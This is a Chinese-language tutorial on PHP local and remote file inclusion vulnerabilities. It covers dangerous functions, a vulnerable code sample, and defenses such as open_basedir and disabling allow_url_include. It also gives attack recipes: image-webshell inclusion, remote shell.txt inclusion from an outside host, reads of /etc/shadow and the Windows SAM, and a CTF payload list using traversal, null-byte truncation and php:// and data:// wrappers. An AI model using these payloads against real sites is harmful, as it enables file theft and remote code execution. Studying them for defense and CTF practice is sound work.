文件包含

0x01、什么是包含

程序员把一些经常重复利用的函数写到单文件中,在使用一些函数时,直接调用,无须再次编写,这种过程,就叫包含。

0x02、文件包含

程序员为了代码更灵活,会设置一些变量,用来动态调用,由于这种灵活,使客户端可以调用恶意文件,从而造成文件包含漏洞。

本地文件包含(LFI)、远程文件包含(RFL)

0x03、涉及到的危险函数

文件包含可能会出现在JSP,PHP,ASP等语言中。

PHP: include(), include_once, require(), require_once(),fopen(),readfile()
JSP/Servlet: ava.io.File(),Java.io.FileReader()
ASP: include file, include virtual

常见的是php的四个函数include()、include_once()、require()、require_once()

include()、include_once():包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但还是会执行下去
require()、require_once():找不到包含文件产生致命错误,会停止脚本。
Include_once():这个函数跟include()函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。

0x04、实例分析

LFI

<?php
    if(isset($_GET['file'])){
    $file = $_GET['file'];
    include $file;}
?>

<?php
    phpinfo();
?>

这样当我们访问的时候就被执行了;

RFI

远程文件包含必须开启远程包含功能选项,在php.ini配置文件中,即allow_url_include=on。Php4存在远程&本地,php5仅存在本地包含。

0x05、常见攻击方法

1)本地包含配合上传拿shell
大多数网站都会有上传功能,上传个图片,假设已上传图片一句话木马,路径为xxx/1.jpg,访问http://www.xxx.com/index.php?file=./xxx/1.jpg

2)远程包含拿shell
这种应该非常少见了吧,目标主机必须保证allow_url_include=on情况,在http://***.com/根目录下有一个一句话木马的txt,访问http://www.xxx.com/index.php?file=http://***.com/ muma.txt

3)读取敏感信息
访问url:http://www.xxx.com/index.php?file=/etc/my.conf
如果存在本文件,他会读出文件的内容……..反之

常见的敏感信息路径
Windows系统

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my,ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root
c:\windows\php.ini // php 配置信息
c:\windows\my.ini
……

Linux/Unix系统

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

0x06、防御方法

1、代码层来讲,在开发过程中应该尽量避免动态的变量,尤其是用户可以控制的变量。采用白名单进行限制
2、在web服务器方面,设定php.ini中open_basedir的值将允许包含的文件限定在某一特定目录内。需要注意的是,open_basedir的值是目录的前缀,如果要限定一个指定的目录,需要最后加上/,例如:open_basedir=/var/www/test、
3、关闭allow_url_fopen和allow_url_include远程包含设置

0x07、CTF常见套路

1、使用../跳跃读取敏感信息,这个比较少见,一般太简单
2、使用伪协议data://或php://input等伪协议php://filter读取index源码–>php://filter/read=convert.base64-encode/resource=index.php
3、%00截断,php5.3之后修复了这种方法;
4、利用远程/本地文件包含漏洞的目的有以下几个:
1) 越权访问文件(/etc/passwd)

1.1) 00截断
1.2) 超长截断
1.3) 目录遍历的攻击方式

2) 任意代码执行

2.1) 通过正常、非正常将一个包含有脚本代码的文件上传到服务器上(常常是.jpg图片格式,将代码藏在图片中),然后在攻击paylaod中引入这个包含脚本代码的文件,使代码得以执行(图片木马)
2.2) 通过包含服务器上的WEB系统原本就存在的.php脚本文件达到改变代码逻辑的目的
2.3) 通过RFI(远程文件包含)将I/O流、协议流的资源描述符作为文件包含的输入源,从而利用HTTP通信将任意代码注入原始的脚本执行空间中

PHP中的封装协议:
http://cn2.php.net/manual/zh/wrappers.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
1.基本的文件包含漏洞:
code :
* 包含同路径下的文件:
?file=.htaccess
* 路径遍历:
?file=../../../../../../../../../var/lib/locate.db
(该文件非常有趣因为它允许你搜索文件系统)
* 包含注入PHP代码的文件:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
2.受限的本地文件包含:
code :
* 空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)
*路径截断(Path Truncation):
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限Windows, 更多细节参见 here)
3.基本的远程文件包含:
code :
* 包含远程代码(Including Remote Code):
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
* 使用php输入流(Using PHP stream php://input):
?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
* 用于跨站脚本攻击(Using XSS):
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)
4.受限的远程文件包含漏洞
code :
* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)
5.静态远程文件包含漏洞:
code :
* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)